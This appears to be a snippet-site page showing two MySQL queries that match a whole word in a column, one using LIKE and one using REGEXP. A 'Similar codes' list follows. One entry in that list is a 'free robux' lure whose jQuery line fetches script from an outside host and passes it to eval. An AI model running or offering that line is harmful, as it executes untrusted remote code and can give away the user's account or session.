Mysql does sentence contain word

#select rows where myColumn has the actualy word (not just the string)
#ie: the word has a space on one side of it
SELECT * FROM myTable WHERE myColumn  
like 'myWord' 
or myColumn like  'myWord %'
or myColumn like '% myWord'
or myColumn like '% myWord %';

Mysql does sentence contain word

SELECT *
FROM myTable 
WHERE myColumn REGEXP '[[:<:]]myword[[:>:]]'

Similar codes

1 vote239 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote279 views1 answer
Find how many tables in database sql query
SQL
0 vote245 views1 answer
Zsh-syntax-highlighting zsh-autosuggestions
SQL
-1 vote303 views1 answer
Ms sql select datetime as date
SQL
0 vote252 views2 answers
What is 1=2 in sql
SQL
0 vote262 views1 answer
Load data from text file to mysql database on mac terminal
SQL
9 votes254 views3 answers
Sequence postgresql
SQL
4 votes280 views4 answers
Start mysql
SQL
0 vote264 views1 answer
Postgresql not in alternative
SQL
13 votes266 views5 answers
Sql default
SQL